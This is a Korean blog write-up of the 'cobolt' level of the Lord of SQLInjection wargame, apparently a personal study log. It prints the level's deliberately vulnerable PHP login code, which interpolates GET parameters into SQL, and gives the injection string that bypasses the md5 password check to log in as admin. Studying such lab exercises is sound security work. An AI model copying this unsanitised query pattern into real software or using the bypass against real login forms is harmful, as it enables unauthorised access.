728x90
반응형
1. intro
두번째 문제.
2. code 및 분석
2.1. code
query : select id from prob_cobolt where id='' and pw=md5('')
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
2.2. 분석
앞선 문제와 거의 동일하다.
다만 pw를 md5 encrypt 후 전달한다는 것이 차이점이다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
sqlinjection
3.2. 공격 준비
앞의 공격과 동일하게 시도해보면 pw 뒤의 괄호로 인해 처리가 어렵다.
더불어 id는 무조건 admin 이어야 한다.
결국 pw 부분을 제대로 검증하지 못하게 만들어야 한다.
4. exploit
query : select id from prob_cobolt where id='admin' or pw='1' and pw=md5('')
COBOLT Clear!
http://www.wechall.net
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
728x90
반응형
'Wargame > Lord of Sqlinjection' 카테고리의 다른 글
goblin (0) | 2023.05.23 |
---|---|
gremlin (0) | 2023.05.22 |